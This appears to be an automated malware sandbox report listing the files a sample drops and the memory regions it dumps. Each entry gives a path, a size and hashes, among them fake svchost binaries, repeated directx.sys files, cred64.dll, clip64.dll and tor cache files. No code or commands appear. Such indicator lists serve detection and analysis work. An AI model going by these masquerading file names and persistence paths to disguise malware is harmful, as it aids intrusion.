C:\Users\Admin\AppData\Local\Temp\Files\office.exe

Filesize
354B

MD5
baa0120690a3c960c3e4f59117ccc1b5

SHA1
5254d744c22d598b1aec30386390c5a6407a37c4

SHA256
fa99d651752d3f61a4545c993322c3c396b47de110bfde205f91410d8015e95a

SHA512
7221a3b9f691e09fd808968f4323183f7c5727bab8e58012b9f7d8638a5341717cb804b6227b9583f3f2853024e01d2031279ff3ef8ad9e07a1ad9833fd1e1d2

Download Submit
C:\Users\Admin\AppData\Local\Temp\Files\rwtweewge.exe

Filesize
192KB

MD5
e662d704c5ed31000a791e22ebb59645

SHA1
d8c57968f2738e90f8e26992e6b2737c3dd6e4ea

SHA256
c0cc0aee86c9058a58a42fdc2256a5cfcdb70d61f0fcdd5f722970b74bc4a538

SHA512
7580467533b415afc37ab13dd4ee953785a9af4b2475f469ba32c7739b700987f1ad0e7cab41ce9f63f0b7b4d716e6ce92dd476614fcaea5e339473108526ae2

Download Submit
C:\Users\Admin\AppData\Local\Temp\Files\rwtweewge.exe

Filesize
334KB

MD5
6e401ff8d2152ee1f93cdf7a48072207

SHA1
5b6945cde50036da4f96c3ad4d8151e4edfa0eb7

SHA256
f7c9102387ff2be3466578767db90e8208f9edbfbeb048d08b3aa47b042a05a8

SHA512
66ae5caabd19090229449dede7840770c6b3bf8a5d875fa75df3621119b3798a0a5b60e19c4bba9cfb8a39172bde6b5a45ec1d8cff865ca8a8f152f335c68b96

Download Submit
C:\Users\Admin\AppData\Local\Temp\Files\soft.exe

Filesize
2.0MB

MD5
2841fcddc44eb06d9e21c3b890044faa

SHA1
9937bf5f10ce379b47a5e68dba6f3d5dc34daa07

SHA256
3339edc596ae648854c18848f8ffbfdc58f19284229375ef96928737878bbce2

SHA512
585dce5cd4a5542095f3620d08149beb98eff047a527ae4defc6fd238964c1a6af1d088c6a587da1608c4ea487d5b2dd8fc60afaf5f9a094389911f45c33ffcf

Download Submit
C:\Users\Admin\AppData\Local\Temp\Files\soft.exe

Filesize
253KB

MD5
96b125b9323b33c477e919d6bbcca1a2

SHA1
ad28d873378d27c2fa66cec84755dc90e16075dc

SHA256
06015283136ecb3f028709e793b004cd4c1f44221cda4d07c4898ab16f0161fc

SHA512
fd8a414a5cf2575caac7dd9c4b0736563d601ca06f6a08a64e1d7b8de5cdb3d0128a78d8322c77dd06fa9c10d2418934508868975350c84c3a1d576b2f986dfb

Download Submit
C:\Users\Admin\AppData\Local\Temp\Files\soft.exe

Filesize
252KB

MD5
6d8d74dbc4be9f39de88bc308814ff67

SHA1
368045710ba3e7d6aaeb13fad78d8eef36f98019

SHA256
d4d273d4e90830be72b8894f6ff5ec98d85cf8d8db3421b30a21afb2503a889f

SHA512
746202451f8df4a3124533eaa5a81f3db0c09b12e38a40b882f4ca510c80be4786c3626f3e7c2df37ccb01b75ec50a9b167b554cc5194ed088a36152eaaf5b12

Download Submit
C:\Users\Admin\AppData\Local\Temp\Files\stub.exe

Filesize
351KB

MD5
63e601878d77aeba4ba671307f870285

SHA1
655c06920e5f737b0a83018acbab4235b9933733

SHA256
ec2ec99d719ccde3972abb4db0ef83eae6462f4697861529ead23d304c527d29

SHA512
577f0d63afe96cf38110e04d5a27a205973e273243c6875a8cc78b52c36614ad58b549acb73a1e5a31141dd0246f058f7c2cfc78fc5c4c3c053de65b34552ef3

Download Submit
C:\Users\Admin\AppData\Local\Temp\Files\stub.exe

Filesize
315KB

MD5
a298857ad0f136bbacb3497eda96827d

SHA1
f47e3269a7d36d04c9a10a5b02a77d2e00fb00d2

SHA256
10e81816afb5aa0f02c9ab37286e31005849745cdb2e3f63fef6fa35e3743a52

SHA512
042dc4beaed8188e667f184adc05603237da042d90e9f8e0325328f915855e01a92db12b06e10986f0737491f70f1f995100feed8b561b98f824f90f5c4413b6

Download Submit
C:\Users\Admin\AppData\Local\Temp\Files\svchost.exe

Filesize
53KB

MD5
4589e982aa6d66f9212ac451515cd446

SHA1
26f6faa982bcea99f52c9109d66b240a37ee0786

SHA256
b94a8c11b48abeacc87ab6fe32652899b6fe81667bb640ffba2fc1af5cb25ee3

SHA512
4ea12b86ae341a3d385e414677d9fd0c60d0d168fb5468f47406a9839e76c3f680f1e8444cfb3186cf9aafd2a3c515d98af4131a8bad85b7eba8745d72ce69ac

Download Submit
C:\Users\Admin\AppData\Local\Temp\Files\svchost.exe

Filesize
1.2MB

MD5
db21b1ac38040767b89be7e680491845

SHA1
93688a5c4ad5a1b3400aa582973ebbb8bd6531a8

SHA256
44f063769ade4ea070a51f4cbb4d18c5357f0143acce048105630eb9498bc0fa

SHA512
a2354bb6e58c61ae33c8b8715464291120d9e5fc9a304b7404ee923f7042a9a3643d891afcdc4975470da0a53a2f2540c70693ed13c9e36b6ff202c91a70b75c

Download Submit
C:\Users\Admin\AppData\Local\Temp\Files\univ.exe

Filesize
291KB

MD5
a7e6582aabd0d4e29d3b2fa0367d84ce

SHA1
001a0424d501d55c1296c8834e9d70f7f5657d12

SHA256
6291c13c12ecc41d3a910c7d485be76cc58476b0f842574c5d52e33b1c9b1823

SHA512
47f8f67aee257c817d09c3137f2e4b74f78ca764d07be666461c2feeb243873d81782eab963096ce02dae9aac68bfc79ea0d06ceaefc203fa66c7f96c0876d3e

Download Submit
C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_0fkbhl0s.kqu.ps1

Filesize
1B

MD5
c4ca4238a0b923820dcc509a6f75849b

SHA1
356a192b7913b04c54574d18c28d46e6395428ab

SHA256
6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b

SHA512
4dff4ea340f0a823f15d3f4f01ab62eae0e5da579ccb851f8db9dfe84c58b2b37b89903a740e1ee172da793a6e79d560e5f7f9bd058a12a280433ed6fa46510a

Download Submit
C:\Users\Admin\AppData\Roaming\006700e5a2ab05\clip64.dll

Filesize
109KB

MD5
2afdbe3b99a4736083066a13e4b5d11a

SHA1
4d4856cf02b3123ac16e63d4a448cdbcb1633546

SHA256
8d31b39170909595b518b1a03e9ec950540fabd545ed14817cac5c84b91599ee

SHA512
d89b3c46854153e60e3fa825b394344eee33936d7dbf186af9d95c9adae54428609e3bf21a18d38fce3d96f3e0b8e4e0ed25cb5004fbe288de3aef3a85b1d93f

Download Submit
C:\Users\Admin\AppData\Roaming\006700e5a2ab05\cred64.dll

Filesize
704KB

MD5
5912b08021e3ec663c4293f1165dae12

SHA1
40b9f2fbf8877abf9787bed3a3c0e12aa667bd73

SHA256
d8754e789362c58117c9df39c61caa78a27c4228dacf016fb2e55924ca330d5a

SHA512
d104fd4ab94d664c3c2192d4d6d5aed8739f449897c50e66459fc0fee3da27e9e98c1d36ce81d6f20add527547c89e51173719d8bb6db3ab330435276408fdc8

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\12Y2RXUXJY26I18P7M1N.temp

Filesize
6KB

MD5
34b181b664209920aef43ca169f4f777

SHA1
653ef0fa816881ed6b8ee14af63b4e062640d40e

SHA256
c5896487234b040d3cb41fa7c88e7ac79cbfcb9892041bfc2aee477384b2bc41

SHA512
5a0a026feab890575766ffa5a3b7dd402513035693cae8e7f6ab552b7454530224b0cdda52fdb5b1ec876bd7da2f54277d3e242d28385dcf9dbad3b50a1815ed

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\YNPQ1Z8LUVVQMLE128ED.temp

Filesize
6KB

MD5
9402967a43d9b9e8f282c47c3fd8ed16

SHA1
8d9543fd536e1e6244cef47b6f2ec55d88c43897

SHA256
82334b8a9aeee90007bf39280b62bb020636b2e2b2e247a2754b11f7a943f47b

SHA512
a9f401aff186ba5c3dc2dd2d9ce11c056c5491e2c38baebf67a1fd420735d2c4b9c0bb63bd0032d132fbe638af48f2e931002019b8babd34834de6432b210133

Download Submit
C:\Users\Admin\AppData\Roaming\tor\cached-microdesc-consensus.tmp

Filesize
512KB

MD5
751e30f734702821356aa9c98ec79523

SHA1
fddfbdda89b1238322e3be4953a25e774987b262

SHA256
fa5f8ca139e744bf374745ec3fb0dafd80f21fc1a89cea2818cf1ef07d3b64d4

SHA512
3cb2b92928e07acc2f7dbd246cd60ecabe5e7089d9b6a46124d2bebf32eac88098eeaba92a6ea07c4fa5c2c90a467583ca047874777d0fe8d1104cd4ae7414b3

Download Submit
C:\Users\Admin\AppData\Roaming\tor\cached-microdescs.new

Filesize
384KB

MD5
3e7c8eb04ad88c761116c7fccd1fcc23

SHA1
2778615441e59d8cd40eb4be4b61e812aa93a6e6

SHA256
8874709add329ec891192bb212064289b2a04fc74012b1a0ce634f68376d1fcc

SHA512
cb65ff85c26adb480b9e61075d3d5d17155e2a7a054354eab919d9903591a6df23702ebab4b0138d1afd5c4a8809dbfa1eae9c30fe00672e9483bf1ce98b282d

Download Submit
C:\Windows\SoftwareDistribution\config.xml

Filesize
516B

MD5
92714417a26162d7918c9875c70f8ed9

SHA1
e017c2eb9e2aad8b8bf1f24e7411d28165242a7a

SHA256
1e6f789ba5f3d163e06cfe7caf54b366971ad5a0a5e54c8f76e3523a36f6a24f

SHA512
de27961363f22d8ee3f05cec3c32bd359b90c1ddac43f5dfa58b01d50c8195b24834568d6287726b74bda691bf1ab321790e61dd8eab225cebf1ecd107a676ed

Download Submit
C:\Windows\directx.sys

Filesize
54B

MD5
56d68a224d7abed8d4f8cf33472e87ba

SHA1
6fb7f7b3b7d5aa1c38653704408d7ea82c95b632

SHA256
52c92dd1b6014ede23622baeb7e1836c5d4e6877979d018b2ff5390dc98e19ca

SHA512
1890a525ee4e22e15298ace7b452f98761c6430558c7a6c65da67b2cf2831c4677d8c874d1a4a3994b071496dba880f81b52eae3f30f821f624dcd5fe5b077b0

Download Submit
C:\Windows\directx.sys

Filesize
53B

MD5
64b0ecf54347746807a1f6453b24da64

SHA1
9d49ef7ca0a4c645845a9d9e39a57a88ef6196c4

SHA256
47c9108d5dc50de7ed27f9a1f5c00972c3d4d709ac13d391ac7bf20742f8d28d

SHA512
fe09c522177d9a42501ecce4f41c32e5fd858221406f025346ac2d453e09bef08d88aadeb0db56125bb9c757910d639d884a79afbff749b8de81db11e1af70ea

Download Submit
C:\Windows\directx.sys

Filesize
53B

MD5
399c35b4f86b376533e886c6e59f5ba4

SHA1
037567c80353ac2badc913452c3a176c5dbcb7a0

SHA256
81b61fd24260e4abbc1eff8a76bb617047cf96865237c566732e0e73a369300f

SHA512
d978ca27d76cd8801f167e81f496669b8ed0d646b8904b1161c6b812c82270d3679e53805ba6b89b82371c7eea7232b84711e71e8495850ae701037716fb6fcc

Download Submit
C:\Windows\directx.sys

Filesize
96B

MD5
68a4079f1b8219d35ce2d21675609bf1

SHA1
568b4437e7a6a03d3510170b35c6685c84cbe90a

SHA256
37b8dca08fd6b69604ec358804c6083322ccca308833e687c3aaed85c36a1d49

SHA512
b92a64dae2b1d05ae0f6ad574c0b978504fa496d2db133fe92e56ae66c30566694037482a135e1dea1ad77104ea4c5ee5532108b97ae2f113c6c12b034890046

Download Submit
C:\Windows\directx.sys

Filesize
50B

MD5
c0b10143454d77739a368e04e0f35df5

SHA1
f3af68a474210444d81d85902d20e1b358dee3cf

SHA256
2917e6960136a725e02b583e48084f2d01e6f067b0e0c48a903cb9e87cbcc084

SHA512
d7a195e2a204bb8735770e8b69ecaadd209b59f0f80548f19294301cc11b7f4e8b818d0fe4075faed3cc6012654afb0447057867bb4d2e96311bc9474ed6c01b

Download Submit
C:\Windows\directx.sys

Filesize
51B

MD5
5e0a14dc7b1ef0dfec20a5375cc450b1

SHA1
fd4074cb29ac3d3123f4f9da92548edee5d2e5dd

SHA256
88e39ea26c048b60fa994d3e473a5f591e07b352e789b40c1b8a33a13d5ad14b

SHA512
cfc04e1787b3e4d98c36b7638efd3bd87b7bd6778b836b3058d97414d10b8f760938ea7393c176b3fcd81d27e65ad34eb4424a14f175b871c4625f3085cf9ee5

Download Submit
C:\Windows\directx.sys

Filesize
51B

MD5
993515d8e0e3f814d3b8295b9b745ce9

SHA1
beea92f180f4356f9ef3695180712c9138bcb857

SHA256
0c4ddb331196b538f99368b9d2bb2c941a4779be09952db0edfcf38bf9a7c7a5

SHA512
a07f1c0059faae57d3db18e311a34c3ba6f0b50adbf50d4e20d17b17bfc2a8578f2aa061275e497357bbe0b48315d9c3a8011bde0eeb668fb0907b358732d8fc

Download Submit
C:\Windows\directx.sys

Filesize
54B

MD5
ef5d6aa482bcc9fccd880566b7334d73

SHA1
8039fe8495c2105d21fa98362fdf92bdd3e823fb

SHA256
91aee616635ed83ce8a1d383a176c82a2b52dd6676c663637b33eb6632899542

SHA512
97056f1441270e7a5cbbeaf3d74a63fd81ced2b3124d06219007d55a85a992d683945d5d4521e3edddfa3e594942c926717bdf1e75bdbadb6d917fbd2f64b59c

Download Submit
C:\Windows\directx.sys

Filesize
48B

MD5
5f7128727536f1d976270c2d7cd8f19a

SHA1
f2b02333eeba4870b1b2508c543f8efe6e277e45

SHA256
452d556b2bbb3cfa5e0530819b7d60a10461ba681e1fb0a8b8df03685cfa7481

SHA512
7aa5ebf07ea1b159f09d18be61e672373d7615e6a815d96a5fd1bde87daa7fb2bb72acbb96eedfba7e72446faeb69bf1ec8463fc31fe0f0cc433fecb8466cbec

Download Submit
C:\Windows\directx.sys

Filesize
31B

MD5
eb0479d4f6dd0e1dad4f46466a4fe02f

SHA1
69918fd8df0c5c5b3454675ad8b61ce0bf72b73a

SHA256
85ad1fdc22ac60564517718c91550fb26944ec97360246672415e00d268c7c2b

SHA512
4de3ab036eaeb3863af9dca62f1a07f911301b6cb8497af623c8f004c34cb209691ead939c662b164a0d689de0ba4822cad291ca78e9ce01773205abcdd97627

Download Submit
C:\Windows\directx.sys

Filesize
49B

MD5
d672f260ef5faad1c5b33c0f44cc5b8e

SHA1
fc852fd04d623f419a8b2c77cded444814dc3fb9

SHA256
be109025d6a50856d073a3f957919eefa7ef50e077e220fc66aad1518a251fc2

SHA512
de3098392130c0e2e62379ec996605d4d762c92e928c7bcb55e32c5846cf93171ba9e20ff45ca377f9a679a36d456c422d96de94ef1ecbe3c7919a0bece9505c

Download Submit
C:\Windows\directx.sys

Filesize
54B

MD5
85c45053b1a351f9a52efe058d270044

SHA1
ad718f57297da9a00582afb1f1081a83a79b47db

SHA256
c42473d17479dcc95f557f7401c9d5ae85764d8caece03ad674e6067f1ae3907

SHA512
b2ab492a33d81c8abecda43d1f09adfa5c0af590a74759bcaa959430ac4a70f4fb6c0f5da9df11a669ab855123899cf8619e359e0ac5c6eaf2ef2cad0580ee90

Download Submit
C:\Windows\directx.sys

Filesize
51B

MD5
b9aaf317dc435fed4d08e8d72e28f768

SHA1
865277473c8c6b2974593f69157474d13cf40033

SHA256
1700d85b31c0865738968a928ed956b7972a4b8dcd1a20f88e7cc137fad53691

SHA512
fb2683b21fbf65c96651fa0d47ee41c3549f6bbd31db4b888ce66d7c320405c948839b8701ac06cba83af5be6918bb537be9709f2d9980f7e43b87f038062376

Download Submit
C:\Windows\directx.sys

Filesize
53B

MD5
64316b9d8bcb1bc9c017795eb15a76ea

SHA1
c1d77f97b65292d23ac7160f3b0b4a7bf7de3edb

SHA256
15f0e9b7740a895d8b8fd1515b604399cea61b6f3ece802ec8cd3deea3152224

SHA512
6a7657c3cecf7ca6757bb808bd6a83f7fa49a188a1f374f36d5b71145d2056e14e7fb0960adb5e305e3e3676883b1dc19ddc8aeeda4aa4f8f1f00bb2caaebeeb

Download Submit
C:\Windows\directx.sys

Filesize
57B

MD5
4db294fe877d8e4f17522cf184aadf42

SHA1
508720bb9e4a53e29048aabf2487c8a54f4835f7

SHA256
54dea0f99815442e3cbb584e187effcf3ff2af71255a5c3c9b6206a6c006814e

SHA512
72e7dd56b01fdc19a24e5b7537d9445081fb01aa5df2b3cd8e22781c7bae39dac8ee7ac1dee368da8e7a4377311a707365795cda1685029b70a3d1e35ea8c9fe

Download Submit
C:\Windows\directx.sys

Filesize
51B

MD5
3f6da78e356633ba6f8acc4a09fd9527

SHA1
407257bcfeb33c069de3628024c8e04687de48df

SHA256
83ba0112fb5874a7d9d677e8575d0dde3bd3969139f125550394a3f04f6ebc49

SHA512
d1f70f7ae6f4bfdb39f64da356770daca17172c5d72b622d59ef9695706b67431daa68f3d7e0c6d6cf04da6d11f8bae9abf1bfa907870bb5a63e70a3c0090c21

Download Submit
C:\Windows\directx.sys

Filesize
54B

MD5
ce7502498cf652bc078553c819b22b9b

SHA1
0c004b20996daf4790dbadbc0e6f8488d31b5bdb

SHA256
4cbf52e286610c3bf603e60ec54cde53ba83b49daa3b597fc1e792a8c027607b

SHA512
6fa9dbc77d077f3bafcfbdcf6a88a0671110ec79444ce55c0a080172c13d4c58cbb3fcac460b462fea596c6fa3c18c08f6c85145cc01047f1d84ab7cecea3f50

Download Submit
C:\Windows\directx.sys

Filesize
48B

MD5
00eebc3c8c77759be240f533d453cd18

SHA1
c47a9351ccfc9a848547575468df6e7537a0713a

SHA256
efba32336f660651cace41aa8ef89182d8543534fbef1c59bf6e592f5cea7928

SHA512
c7516de185f5a05a23979650fd77eebe1187dc1f5eee9665b567656baf0411d71d84f056b033dcb6eb32cd6732b6e78e6bec1862ec779f5002f402fb08ee1916

Download Submit
C:\Windows\directx.sys

Filesize
54B

MD5
51531b58edc6fe04e3f15d6ead6c60cf

SHA1
6b6ffd70adc879124de6c0f793b9e38342708f11

SHA256
7fe7453a2891fadaa63cd01be545222bd5c5298a0e5c005e149efbceaef0efc9

SHA512
67adfc08cb44b1f6c294d04c079dead43ed40d7d48beeb3feeba86fe20713e45b264276b97a3ff025c756827e76f7838a0234939f050a4d3e95a7c675b85c430

Download Submit
C:\Windows\directx.sys

Filesize
54B

MD5
8852712f498631e135d18093dbd6f6ab

SHA1
96615df4b802e1ce4a0bc9bd45a71c61deeb94f4

SHA256
f4736f7d7f16501a5fd1a88f7b0fa22824455ff3d966bdd8191bf0d23da918e9

SHA512
27934555b9800115c7506d1a04972316309438adb530fad3ca9689aee8b993bb4ad37e3dfe40710346b5e0dc8a004b17b276e72238c04cc49bb18dcec00e80eb

Download Submit
C:\Windows\directx.sys

Filesize
54B

MD5
4992e7a325da2ec8246c9b05440846a9

SHA1
bc373c6ad4c7269292a94071a226c7d5afcbecfc

SHA256
ef04b37ae6d00b189b16aa5b807c45e712045edd405587b711b0b2169f38c2c3

SHA512
9dea00a9be2e150cfd58e4b2e51acf0cf3d9cf8aea350a11f74e9c21392054648ee136db4860b07e945487d3208bcdfe8dcb50c7ce7cdfabbb8bf65459576803

Download Submit
C:\Windows\directx.sys

Filesize
56B

MD5
7e8f17f35242fbf2a5290fcae81f6726

SHA1
abab385915335145dfce5f371a1a334999d37ee4

SHA256
a4c58194edee271f3cc53e0db0d8b8b2fe5dd1e38b02d661c8cece3e35380ae4

SHA512
6729d9fc05567d1e0c650f46522207cce60f3843e417309e9665c3b67717f68d949262608f82ef82d2feee84fb6240f580b0354628be6bcdbcb4d38968aba029

Download Submit
C:\Windows\directx.sys

Filesize
51B

MD5
d16d192545aa0ff294d2567affc13a85

SHA1
9238ce9900dd677fb75149d07819f9daf9f1b47c

SHA256
7c8b5c3183da2b65076689c4d5e9a6cabbf56a1f1e62a18b7c1179172098cd4d

SHA512
34dc211e83e40e99e982e96e5946bd25de8dff8a0243915e0f43d12f4567b82ed6b91739d40ba6b13af2a4f7f85740b72d3b982571012987c6014521c98bfbe4

Download Submit
C:\Windows\directx.sys

Filesize
44B

MD5
4530ea9d39dbc63e467af34b38deca26

SHA1
c0ba0ac54080491848a4d608cbb5a7d211f065ce

SHA256
5376ba9bae9f633b25d02653e6fdb698e0059dac7fcb6592a32ada490edb37e9

SHA512
4ace7ba77be3f39c9756719f4017c31d736358e74ff699e52489c6b89dc1f1290e51363b8748b3d274dc205f2a4c7bd61d32b8a43ac0f5487e7c167cb2862aaa

Download Submit
C:\Windows\directx.sys

Filesize
54B

MD5
2050378f231b64acbe531b62c0c194de

SHA1
212fa6b175393eff7a2108d5276fffae6c50f1dd

SHA256
e4949b6895e981e14c357989d82a22538d107e2fdcb7aaefc775ed04cd48892e

SHA512
e3708fc79833c9226d9ea8576f45a99e66ec9678d94a216201957ad73221522ca1ccae76120f3a70414c62b7b0bdb50134386d5055ac6ff1a5c935d3949a4c0b

Download Submit
C:\Windows\directx.sys

Filesize
55B

MD5
3245f1f29d9608d548ae94755001c11c

SHA1
15ad65bd408883ceb70465856d633514c8fd108f

SHA256
d60b3ef5ce832099ad7e33eb31915daec19f570967226392f4b7d953cc831c46

SHA512
e13294089031139ae56a5e0d55ed0fa88a1e0956522022b192d9a07a1c97c104de749064d132d27082d41b77b50fd3b5f413b64ae7d08793bf13e3672d160f87

Download Submit
C:\Windows\directx.sys

Filesize
52B

MD5
694f12698c0b682820c3164b6bfabf72

SHA1
cd8b4b159db8c80e952e2749d055c2df1ff2c492

SHA256
8fbf983001bae0c61c27faa6dfbef84768b54ce4096d20b417ca64b336fbd6e5

SHA512
1888fd909cd59bc97a93f420f94e93fde17769df0920a829fd62f78011887368874938bc8a6aa15ac85f1e595bba26afc9311fd5acf5e35aff07b3d4086f0509

Download Submit
C:\Windows\directx.sys

Filesize
52B

MD5
94ded3fe6878bcd9ce85e9a60b6b9330

SHA1
c04d9bd947c487bbf4c15048a13939205ce98c5e

SHA256
e6fcd4fc582c9311163e8a66a03bb38ee27245ec0629e2e17eee49469a4ea24e

SHA512
7f70b0e2185f2bbd1b5e861d1acc9a51708faef18facc2458be1cd5d91356e4136716963b6fa06f1d9d2c75d1577d3b1c2800d40522a010c05e1b76e67b93f33

Download Submit
C:\Windows\directx.sys

Filesize
57B

MD5
6fdd5b5cee946eecde0c8536d175190b

SHA1
cc9eb1fd2b9eecdd5b6f7e13cacdd3d30a8269ff

SHA256
1614e829b53f9416b33e0007550e16880d3221e7ac515e814b335061d4a9a346

SHA512
fd6ca47e6918836270ae75916e45504427dbd6820be8847795a03ea0308776ce1327ae4bc7d06e5f282a1467aa1782cae1054817077698d16f2b77062dc2ffc0

Download Submit
C:\Windows\directx.sys

Filesize
52B

MD5
57a59a9a5f38bd43afab1cd744363272

SHA1
c3facc0c86a6ac45a37c9380dbb8d98566ec21c0

SHA256
0ae49ccd9885ffeeb64bc28864031723887e700ae8c347dd4dd5bc09c39d840f

SHA512
0075a2caaef866307587e5f3fe2a62d4fcc4e473b24870022b5b755d7ddc36b0c25c19f534811fb4facbe33b6a42452e62ab1781b6570b1d9fbc93cdc8ab804c

Download Submit
C:\Windows\directx.sys

Filesize
54B

MD5
6d79ed575ae09f094e76f86e56b98a4b

SHA1
3d385f7f1a3d52262723559c2d88018a42b4f145

SHA256
f7bff986b082e01b441e0d085f39a63282042e8c5ed1bf187f09920f84a9906b

SHA512
3aa3be5de65a83f0840b837684ead9ba13712a796142a311506c08a4ba397742787e4cad8a60e3a11e686e93aab5fb7483152f115656e2ed6d8f33986575bc57

Download Submit
C:\Windows\directx.sys

Filesize
56B

MD5
b29efecb826aded6347020b3ce314fba

SHA1
6d96f6daced2bd9c6b16431dc5bef03abd0190b8

SHA256
af0c50f3cbd9b2a14b51800b97d28e881be5edfd1ba133a31a71609b66470c83

SHA512
57de3d59532a4cdeffd0ae34cb471635af2a5504bdc1cf1b918302630889efd995f8488e8a764b3faee549b57780b041e9beced28c561eeb978a05398e94a953

Download Submit
C:\Windows\directx.sys

Filesize
57B

MD5
844e3336c4e657a5c3bc624fd308d213

SHA1
124546db29337cb93734da59186d487cd68a7c81

SHA256
091bb9d24d7e3d9a4ca4597d6bf6a951475a7a75d5dd3787d76ce1ca7af8432c

SHA512
0e0371fd9860c8e94132eebda34a84a8b04ae3b06ebd4159d41ad9d03b3cff3787f1a2d9a0025d3e714e67f67467feb0ae3993889804500ad6ad1f637bee9fad

Download Submit
C:\Windows\directx.sys

Filesize
51B

MD5
75899eaede260dd71d002dd366f82db8

SHA1
def6983d6a62fd32bc26c26688d61d8f0170bae6

SHA256
5fd03582c472c7be39abdfe0367434947f209f011d603b72bbb69649212951e2

SHA512
f27e9821dc479707a9448ea6c12a228dec69310ce4b1a0917d19ba4075b1cbf68bd0581650f554b1e304a39c14c4f554b1447376234f68e8c23ad9478cf8a250

Download Submit
C:\Windows\directx.sys

Filesize
54B

MD5
02a9cbd4d0d1ac6702e838ecb8b17213

SHA1
9199b56bc70a43739c9a3036e296751ac02d7b90

SHA256
54bb786ef3d2e960c8e5d1074007d1de604d6643cbdc36db4ada1b2621ff756e

SHA512
c0846eefeb1e999e48f2912f05c6cb3d1bfb93f2e8d0a54055acb4aaa4004ab5ff093431c0f3adf427e45b86584b943e228ea68def942979cbfb2331cc36d841

Download Submit
C:\Windows\directx.sys

Filesize
51B

MD5
0d05f79d2f67a88e7ac25bcc090e1ade

SHA1
746bf032d3ec20716cd8b35c9b88bd3bdb35307e

SHA256
11a37266c2ce6e76adb2763a65d1fef2d5cf2ff4f77046a35fd86a2bf1c9cc92

SHA512
fa5a54e6b584f1532d55469e713cae7658baab0d93a4c3af3290151062713e18f821ff779190fbadb48a1dae22681387877d8ba813fec3ee3f0a819474296d1e

Download Submit
C:\Windows\directx.sys

Filesize
54B

MD5
fa5cfe14b60cdac315b2d6c520c90d0c

SHA1
35b0fdc3d6646c82ab851fa905c2bedc5711b22a

SHA256
69c0be48a6ae42f9f57790ee186f04dcfbb0f1c019c1dcf88f37a56b7718fd22

SHA512
6e3d9fe062f476c3cb586196badc69de4076c20260448f0ae26165b9d59fa886d21fa74b53ec9153cd4fdb93819a2ea03100bd8d9a97e7344f57f35e44eb5634

Download Submit
C:\Windows\directx.sys

Filesize
44B

MD5
f55559aa71aaa86b90f905da285e1f13

SHA1
56c95e54d9b549ceb8c6f6c21d5dbc865b764a0e

SHA256
dffd78c74905930e3815929c837f89c122e2d4833bdf79a14e36ef2afaf82652

SHA512
6df6b429f99b1c196d7d16fbca9aaa21a2b140aff1072a7330ebee7c130e6c1563455ae21aaf5ea1fa89924283bdf45d073372a841261520e891f7f8efaf739b

Download Submit
C:\Windows\svchost.com

Filesize
40KB

MD5
36fd5e09c417c767a952b4609d73a54b

SHA1
299399c5a2403080a5bf67fb46faec210025b36d

SHA256
980bac6c9afe8efc9c6fe459a5f77213b0d8524eb00de82437288eb96138b9a2

SHA512
1813a6a5b47a9b2cd3958cf4556714ae240f2aa19d0a241b596830f0f2b89a33ec864d00ce6a791d323a58dfbff42a0fded65eefbf980c92685e25c0ec415d92

Download Submit
C:\Windows\svchost.exe

Filesize
35KB

MD5
9e3c13b6556d5636b745d3e466d47467

SHA1
2ac1c19e268c49bc508f83fe3d20f495deb3e538

SHA256
20af03add533a6870d524a7c4753b42bfceb56cddd46016c051e23581ba743f8

SHA512
5a07ba8a7fcb15f64b129fada2621252b8bc37eb34d4f614c075c064f8ac0d367301eba0c32c5e28b8aa633f6ab604f0dfcc363b34734ce0207ef0d4e8817c4b

Download Submit
C:\odt\OFFICE~1.EXE

Filesize
148KB

MD5
3f4229a0fb6085518f713ce401110fbd

SHA1
c2c484d21b3959c3b1aabfafcbd9d115c5a4e503

SHA256
ab55c57f0d3be15e8f5032a7392393815f4215f6cfd0889f2df48fc1b9f1aa61

SHA512
ba6ea24708d03bdf3ef17d74193e9162a7966820db4cd48e9c3d3abade3700c25775161542deacf7bfec8d33844c6bf5a82a8ad0fae329f4037ef6e77908f995

Download Submit
C:\odt\OFFICE~1.EXE

Filesize
64KB

MD5
55aa5324f50bae99009ce18ea55a9fd3

SHA1
431b1dd807cbed5e665ec9e86ef5e5759232db31

SHA256
e2baa2f4be599a0bd4860fe523ff2f00a704bc5dea80ed2cdfc85b34ad819500

SHA512
f15ca4cbf37ae139953d072a69df3f69734bec92d41db032dcb8f4b3f705ebc8a9706c90181a894fd49f481cf3e53a816da48ee56475b9ce252c7b62ffabc109

Download Submit
memory/216-54-0x0000000073640000-0x0000000073D2E000-memory.dmp

Filesize
6.9MB

Download
memory/216-0-0x0000000000060000-0x0000000000068000-memory.dmp

Filesize
32KB

Download
memory/216-1-0x0000000073640000-0x0000000073D2E000-memory.dmp

Filesize
6.9MB

Download
memory/216-2-0x0000000004910000-0x00000000049AC000-memory.dmp

Filesize
624KB

Download
memory/216-3-0x0000000004B30000-0x0000000004B40000-memory.dmp

Filesize
64KB

Download
memory/756-437-0x0000000000180000-0x0000000000194000-memory.dmp

Filesize
80KB

Download
memory/756-448-0x00000000049C0000-0x00000000049D0000-memory.dmp

Filesize
64KB

Download
memory/756-445-0x0000000073640000-0x0000000073D2E000-memory.dmp

Filesize
6.9MB

Download
memory/912-358-0x0000000000400000-0x000000000041B000-memory.dmp

Filesize
108KB

Download
memory/952-254-0x0000000000400000-0x000000000041B000-memory.dmp

Filesize
108KB

Download
memory/1004-63-0x0000000000400000-0x000000000040D000-memory.dmp

Filesize
52KB

Download
memory/1100-69-0x0000000073640000-0x0000000073D2E000-memory.dmp

Filesize
6.9MB

Download
memory/1100-31-0x0000000073640000-0x0000000073D2E000-memory.dmp

Filesize
6.9MB

Download
memory/1100-30-0x0000000000CC0000-0x0000000000D1A000-memory.dmp

Filesize
360KB

Download
memory/1100-65-0x0000000002EA0000-0x0000000004EA0000-memory.dmp

Filesize
32.0MB

Download
memory/1100-32-0x00000000054F0000-0x0000000005500000-memory.dmp

Filesize
64KB

Download
memory/1352-317-0x0000000000400000-0x000000000040D000-memory.dmp

Filesize
52KB

Download
memory/1456-23-0x0000000000590000-0x00000000005CC000-memory.dmp

Filesize
240KB

Download
memory/1456-22-0x0000000000800000-0x0000000000900000-memory.dmp

Filesize
1024KB

Download
memory/1456-24-0x0000000000400000-0x0000000000459000-memory.dmp

Filesize
356KB

Download
memory/1456-360-0x0000000000800000-0x0000000000900000-memory.dmp

Filesize
1024KB

Download
